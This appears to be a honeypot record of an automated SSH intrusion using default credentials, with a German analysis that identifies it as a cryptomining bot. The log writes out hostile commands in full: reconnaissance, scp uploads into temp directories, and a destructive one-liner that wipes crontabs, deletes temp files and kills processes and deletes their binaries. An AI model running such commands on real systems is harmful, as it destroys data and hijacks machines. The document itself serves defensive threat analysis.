16.10.2026, 03:18 UTC · 90 Befehle · über ssh · Niederlande · 17× wiederholt
user='ps' pass='toor' ps@srv01:~$ uname -m | awk '{printf $1}' x86_64 ps@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 391 days, 00:00 ps@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21) ps@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Celeron(R) CPU J1900 @ 1.99GHz ps@srv01:~$ curl ipinfo.io/org AS60751 ps@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found ps@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found ps@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 ps@srv01:~$ uname -r | awk '{printf $1}' 4.19.0-25-amd64 ps@srv01:~$ echo toor > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/GblndaVn" ps@srv01:~$ scp -qt "/tmp/GblndaVn" ps@srv01:~$ scp -qt "/dev/shm/GblndaVn" ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ uname -n | awk '{printf $1}' debian ps@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found ps@srv01:~$ echo qwe123 > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/TzTrTbhv" ps@srv01:~$ scp -qt "/tmp/TzTrTbhv" ps@srv01:~$ scp -qt "/dev/shm/TzTrTbhv" ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ echo Password > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/hbwOKZzb" ps@srv01:~$ scp -qt "/tmp/hbwOKZzb" ps@srv01:~$ scp -qt "/dev/shm/hbwOKZzb" ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ echo Qwerty > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/WNbHeWLB" ps@srv01:~$ scp -qt "/tmp/WNbHeWLB" ps@srv01:~$ scp -qt "/dev/shm/WNbHeWLB" ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ echo root123 > /tmp/d.log ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ echo Admin > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/XchObKBl" ps@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) debian x86_64 ps@srv01:~$ echo stream > /tmp/d.log ps@srv01:~$ scp -qt "/var/tmp/MvtRWrPj" ps@srv01:~$ scp -qt "/tmp/MvtRWrPj"
Der Angreifer verbindet sich wiederholt über SSH mit den Standardzugangsdaten 'ps' und 'toor' auf dem Honeypot. Nach der Anmeldung führt er eine Reihe von Systemabfragen durch, um Hardwareinformationen wie CPU, GPU und Netzwerkdetails zu ermitteln. Anschließend versucht er, verschiedene Dateien über SCP in temporäre Verzeichnisse zu kopieren und löscht dabei aggressive Bereinigungsskripte, die Prozesse mit hoher CPU-Auslastung beenden.
Die Befehle 'uname', 'lspci' und 'lscpu' sammeln technische Daten über die Architektur und die verbauten Prozessoren. Mit 'nvidia-smi' und 'lspci' wird speziell nach Grafikkarten gesucht, da diese für das Mining von Kryptowährungen entscheidend sind. Der Befehl 'crontab -r' entfernt geplante Aufgaben, während die folgende Schleife Prozesse mit hoher CPU- oder RAM-Nutzung beendet, um Ressourcen für die eigene Malware freizumachen. Die 'scp -qt' Befehle versuchen, Dateien in versteckte oder temporäre Ordner wie '/dev/shm' zu übertragen, was oft der Ablage von Binärdateien dient.
Das Vorgehen deutet stark auf die Rekrutierung für ein Botnetz oder die Installation von Kryptomining-Software hin. Die gezielte Abfrage nach NVIDIA- und Radeon-Grafikkarten sowie die Löschung konkurrierender Prozesse sind typische Indikatoren für Mining-Bots, die die volle Rechenleistung beanspruchen wollen. Da die Hardwareabfragen scheitern, bleibt unklar, ob der Bot die Installation abbricht oder auf eine CPU-basierte Variante ausweicht.
Dieses Muster ist sehr verbreitet und stammt häufig von automatisierten Botnetzen, die nach schwach geschützten Linux-Servern suchen. Die Kombination aus Hardware-Scanning und aggressiver Prozessbereinigung ist ein klassisches Merkmal von Mining-Bots, die auf älteren oder schwächeren Systemen laufen.